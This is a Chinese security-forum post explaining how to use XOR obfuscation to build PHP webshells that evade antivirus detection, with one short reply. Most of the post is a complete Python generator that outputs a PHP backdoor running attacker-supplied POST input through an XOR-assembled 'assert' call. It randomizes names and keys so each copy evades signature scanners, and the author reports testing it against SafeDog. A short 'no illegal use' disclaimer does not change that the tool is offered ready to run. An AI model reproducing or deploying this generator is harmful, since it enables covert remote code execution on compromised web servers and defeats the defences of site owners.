首页
社区
课程
招聘
使用异或生成免杀webshell
发表于: 2022-2-12 17:50 8754

使用异或生成免杀webshell

2022-2-12 17:50
8754

ps:只测试过安全狗,宝塔要花钱所以没有测试。此篇文章是学习前辈们的经验所写。免杀一句话,不做伸手党。

Warning!

本项目仅个人测试,使用后请尽快删除。

 

严禁用于非法用途!一切后果与本人无关

免杀一句话的方法

  1. 使用脚本给一句话木马加密
  2. 采用公开的接口加密
  3. 采用异或生成一句话木马

异或生成的核心

随即两个数异或产生的第三个数,与其中一个数再次异或得到是另一个数
例子:
4 ^ 5 = 1
1 ^ 4 = 5
这样我们就可以把assert变成两个字符串异或得来的,核心算法就是这些。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import chardet
import base64
import random
import sys
 
func = 'assert'
 
 
def random_obj_name(length):
    s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(s, length))
 
 
def random_key(length):
    s = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(s, length))
 
 
def xor(s1, s2):
    return hex(ord(s1) ^ ord(s2)).replace("0x", r'\x')
 
 
def gen_payload(func):
    func_line1 = ''
    func_line2 = ''
    key = random_key(len(func))
    for i in range(len(func)):
        t_xor = xor(func[i], key[i])
        func_line1 += key[i]
        func_line2 += t_xor
    payload = "'" + func_line1 + "'" + '^' + '"' + func_line2 + '"'
    return payload
 
 
shell_form = '''<?php
class {class_name}{{
    function __destruct(){{
        ${var_name1}={func1};
        return @${var_name1}("$this->{var_name2}");
    }}
}}
${objname}=new {class_name}();
@${objname}->{var_name2}=$_POST['x'];
?>'''
 
 
def gen_ms_webshell(func):
    class_name = random_obj_name(4)
    objname = class_name.lower()
    webshell = shell_form.format(class_name=class_name, func_name=random_obj_name(4), objname=objname,
                                 var_name1=random_obj_name(4), var_name2=random_obj_name(4), func1=gen_payload(func))
    print(webshell)
 
gen_ms_webshell(func)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 114
活跃值: (135)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这么好的贴,都不顶一下吗
2022-3-5 22:13
0
游客
登录 | 注册 方可回帖
返回
//